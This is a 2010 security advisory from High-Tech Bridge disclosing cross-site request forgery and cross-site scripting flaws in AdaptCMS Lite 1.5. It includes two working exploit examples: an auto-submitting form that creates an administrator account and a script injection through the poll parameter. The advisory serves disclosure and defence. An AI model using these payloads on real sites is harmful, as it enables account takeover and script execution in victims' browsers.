Total Tests:

Multiple vulnerabilities in AdaptCMS Lite

Advisory ID:HTB22346
Product:AdaptCMS Lite
Vendor:AdaptCMS
Vulnerable Versions:1.5 and probably prior
Tested Version:1.5
Advisory Publication:April 7, 2010 [without technical details]
Vendor Notification:April 7, 2010
Public Disclosure:April 21, 2010
Vulnerability Type:Cross-Site Request Forgery [CWE-352]
Cross-Site Scripting [CWE-79]
Risk Level:Medium
CVSSv2 Base Scores:5.1 (AV:N/AC:H/Au:N/C:P/I:P/A:P)
2.6 (AV:N/AC:H/Au:N/C:N/I:P/A:N)
Solution Status:Fixed by Vendor
Discovered and Provided:High-Tech Bridge Security Research Lab
 

Advisory Details:

High-Tech Bridge SA Security Research Lab has discovered multiple vulnerabilities in AdaptCMS Lite which could be exploited to perform cross-site request forgery and cross-site scripting attacks.

1) Cross-site request forgery (CSRF) in AdaptCMS Lite
The vulnerability exists due to insufficient validation of the request origin in the /admin.php script. A remote attacker can create a specially crafted link, trick a logged-in administrator into following that link and gain complete control over the application.
Exploitation example:
<form action="http://host/admin.php?view=edit_users2&id=MY_ID" method="post">
<input type=hidden name=username1 value=test >
<input type=hidden name=password1 value=test >
<input type=hidden name=email1 value=test@example.com >
<input type=hidden name=level value=Admin >
</form>
<script>
document.forms[0].submit()
</script>


2) Cross-site scripting vulnerability (XSS) in AdaptCMS Lite
The vulnerability exists due to input validation error in the HTTP POST "poll" parameter in /admin.php. A remote attacker can send a specially crafted HTTP request to the vulnerable script and execute arbitrary HTML and scripting code in user`s browser in context of the vulnerable website.
Exploitation example:
<form action='http://host/admin.php?view=edit_poll2' method='post' >
<input type='text' name='poll' size='25' value='new text?"><script>alert()</script>'>
<input type='checkbox' name='multiple' value='yes'>
<input type='checkbox' name='custom' value='yes'>
<input type='hidden' name='id' value='1'><input type='hidden' name='oldpoll' value='old text'>
<input type='submit' value='Update Poll' >
</form>
<script>
document.forms[0].submit()
</script>

How to Detect Cross-Site Request Forgery Vulnerabilities
Website Security Test
  • GDPR & PCI DSS Test
  • Website CMS Security Test
  • CSP & HTTP Headers Check
  • WordPress & Drupal Scanning
Try For Free

Solution:
Upgrade to the latest version.


References:
[1] High-Tech Bridge Advisory - https://www.immuniweb.com/advisory/HTB22346 - Multiple vulnerabilities in AdaptCMS Lite
[2] AdaptCMS is a PHP CMS that is made for complete control of your website, easiness of use and easily adaptable to any type of website.
[3] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.
Previous Security Advisories with CWE-352:

HTB22344: Cross-site request forgery (CSRF) in e107


Have additional information to submit?
Please feel free to send us any additional information related to this Advisory, such as vulnerable versions, additional exploitation details and conditions, patches and other relevant details.
Book a Call Ask a Question
Close
Talk to ImmuniWeb Experts
ImmuniWeb AI Platform
Have a technical question?

Our security experts will answer within
one business day. No obligations.

Have a sales question?
Email:
Tel: +41 22 560 6800 (Switzerland)
Tel: +1 720 605 9147 (USA)
*
*
*
Your data will stay private and confidential